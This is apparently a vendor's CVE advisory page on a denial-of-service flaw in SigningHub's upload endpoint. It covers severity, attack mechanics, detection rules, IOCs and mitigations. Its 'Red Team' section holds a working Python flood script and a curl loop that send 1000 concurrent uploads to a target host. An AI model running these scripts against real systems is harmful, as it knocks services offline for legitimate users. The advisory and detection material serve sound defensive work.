☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-56223

CVE-2025-56223 Denial of Service in Signinghub
📅 PUBLISHED: 2025-10-20 00:00 UTC 🔄 UPDATED: 2026-10-02 19:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.46%
👁️
0.46% probability
11.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-56223 is a Denial of Service (DoS) vulnerability affecting SigningHub v8.6.8. The flaw resides in the /Home/UploadStreamDocument component, which lacks rate limiting on file uploads. An unauthenticated attacker can exploit this by sending an excessive number of file upload requests, exhausting server resources (CPU, memory, disk I/O, or network bandwidth) and causing the service to become unavailable to legitimate users. The vulnerability has a CVSS v3.1 base score of 7.5 (High) due to its network-based, low-complexity attack vector requiring no privileges or user interaction. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (SigningHub). Supply chain risk is limited to the vendor’s software distribution and update mechanisms.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Base Score: 7.5 (High)
  • Attack Vector (AV): Network – Exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): None – No user action required.
  • Scope (S): Unchanged – Exploit does not affect other components.
  • Confidentiality (C): None – No data exposure.
  • Integrity (I): None – No data modification.
  • Availability (A): High – Complete loss of service availability.

Threat Level: High. The low complexity and lack of authentication make this a trivial attack for any adversary with network access to the SigningHub instance. The impact is a complete denial of service, potentially disrupting business-critical document signing workflows.

Deep Dive & Mechanics

The vulnerability is a classic resource exhaustion issue (CWE-770: Allocation of Resources Without Limits or Throttling). The /Home/UploadStreamDocument endpoint is designed to accept file uploads for document processing. However, the application does not enforce any rate limiting or resource quotas on the number of concurrent or sequential uploads.

Attack Flow:

  1. An attacker identifies the vulnerable endpoint: POST /Home/UploadStreamDocument.
  2. The attacker crafts a simple HTTP request with a file payload (any size, even minimal).
  3. Using a script or tool (e.g., curl, Python, or a DoS tool), the attacker sends a high volume of these requests in rapid succession.
  4. The server allocates resources (memory buffers, disk space for temporary files, CPU for processing) for each upload without any throttling.
  5. Eventually, the server exhausts available resources, leading to:
    • Memory exhaustion (OOM killer terminates processes).
    • Disk space exhaustion (temporary files fill the filesystem).
    • Thread/connection pool exhaustion (new requests are dropped).
  6. The SigningHub service becomes unresponsive, causing a denial of service for legitimate users.

Root Cause: Lack of input validation and resource management on the upload endpoint. No limits on:

  • Number of requests per IP per time window.
  • Total concurrent uploads.
  • Maximum file size or total upload size per session.

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code is in the server-side handler for /Home/UploadStreamDocument. A hypothetical patched version would include:

Vulnerable (Conceptual):

[HttpPost]
public ActionResult UploadStreamDocument(HttpPostedFileBase file) {
    // No rate limiting, no size check, no concurrency limit
    var stream = file.InputStream;
    // Process stream...
    return Json(new { success = true });
}

Patched (Conceptual):

[HttpPost]
[RateLimit(requestsPerMinute = 10, scope = RateLimitScope.IP)]
[RequestSizeLimit(10 * 1024 * 1024)] // 10 MB max
public ActionResult UploadStreamDocument(HttpPostedFileBase file) {
    if (file == null || file.ContentLength == 0) {
        return HttpBadRequest("Invalid file.");
    }
    // Additional checks: total uploads per session, disk space, etc.
    var stream = file.InputStream;
    // Process stream...
    return Json(new { success = true });
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Network access to the target SigningHub instance (e.g., https://target.signinghub.com).
  • A tool capable of sending multiple HTTP requests (e.g., curl, Python, wrk, hping3).

Exploit Script (Python):

import requests
import threading

target_url = "https://target.signinghub.com/Home/UploadStreamDocument"
file_payload = {'file': ('test.txt', 'A' * 1024)}  # 1KB file

def send_request():
    try:
        response = requests.post(target_url, files=file_payload, timeout=5)
        print(f"Status: {response.status_code}")
    except Exception as e:
        print(f"Error: {e}")

# Launch 1000 concurrent requests
threads = []
for i in range(1000):
    t = threading.Thread(target=send_request)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

Alternative using curl (bash):

for i in {1..1000}; do
  curl -X POST -F "file=@test.txt" https://target.signinghub.com/Home/UploadStreamDocument &
done
wait

Expected Outcome: The server becomes unresponsive after a few hundred requests. Legitimate users receive connection timeouts or HTTP 503 errors.

Blue Team (Defense & Detection)

Immediate Detection:

  • Monitor for a high volume of POST requests to /Home/UploadStreamDocument from a single IP or a small set of IPs.
  • Alert on HTTP 500/503 errors or connection timeouts from the SigningHub server.
  • Track server resource metrics (CPU, memory, disk I/O) for anomalous spikes.

Mitigation Steps (until patch is available):

  1. Web Application Firewall (WAF) Rule: Block or rate-limit requests to /Home/UploadStreamDocument based on IP and request frequency.
  2. Reverse Proxy Rate Limiting: Configure Nginx or Apache to limit requests per IP:
    limit_req_zone $binary_remote_addr zone=upload_limit:10m rate=5r/s;
    server {
        location /Home/UploadStreamDocument {
            limit_req zone=upload_limit burst=10 nodelay;
            proxy_pass http://backend;
        }
    }
    
  3. Network-Level ACLs: Restrict access to the endpoint to trusted IP ranges only.
  4. Disable Endpoint Temporarily: If possible, disable the upload functionality until a patch is applied.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • High volume of HTTP POST requests to /Home/UploadStreamDocument (e.g., >100 requests per minute from a single IP).
    • Repeated HTTP 200 responses followed by 500/503 errors.
    • Unusual source IPs (e.g., Tor exit nodes, known cloud providers not in the organization's whitelist).
  • Host IOCs:

    • High CPU and memory usage on the SigningHub server.
    • Disk space exhaustion in temporary directories (e.g., /tmp, /var/tmp).
    • Application logs showing repeated upload attempts from the same IP in a short time window.
  • Log Examples:

    [2025-03-15 10:00:01] POST /Home/UploadStreamDocument 200 192.168.1.100
    [2025-03-15 10:00:01] POST /Home/UploadStreamDocument 200 192.168.1.100
    ...
    [2025-03-15 10:00:05] POST /Home/UploadStreamDocument 503 192.168.1.100
    

Detection Engineering

YARA Rule

rule CVE_2025_56223_SigningHub_DoS {
    meta:
        description = "Detects potential DoS attack against SigningHub /Home/UploadStreamDocument"
        author = "Valters IT"
        date = "2025-03-15"
        cve = "CVE-2025-56223"
    strings:
        $upload_path = "/Home/UploadStreamDocument"
        $http_post = "POST"
        $file_field = "file="
    condition:
        all of them
}

Sigma Rule

title: SigningHub DoS via Excessive File Uploads
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects a high volume of POST requests to /Home/UploadStreamDocument from a single IP, indicating a potential DoS attack.
author: Valters IT
date: 2025/03/15
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/Home/UploadStreamDocument'
    timeframe: 1m
    condition: selection | count() by c-ip > 100
falsepositives:
    - Legitimate bulk upload operations (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-56223 - SigningHub DoS via Excessive File Uploads";
    flow:to_server;
    http.method; content:"POST";
    http.uri; content:"/Home/UploadStreamDocument";
    http.request_body; content:"file=";
    threshold: type both, track by_src, count 100, seconds 60;
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Apply Rate Limiting: Implement rate limiting at the web server or WAF level as described in the Blue Team section.
  2. Monitor & Alert: Set up monitoring for the IOCs listed above and alert on anomalous upload activity.
  3. Restrict Access: If possible, restrict access to the /Home/UploadStreamDocument endpoint to trusted IPs only.

Long-Term Fix:

  • Vendor Patch: Await an official patch from SigningHub that implements proper rate limiting, file size limits, and concurrency controls.
  • Code Review: If source code is available, add server-side validation and resource management as shown in the patched code example.
  • Architecture Change: Consider moving file uploads to a separate, scalable service (e.g., using a queue or cloud storage) to isolate the impact of DoS attacks.

Workaround: Disable the upload functionality entirely if it is not critical to operations.


Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-56223/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.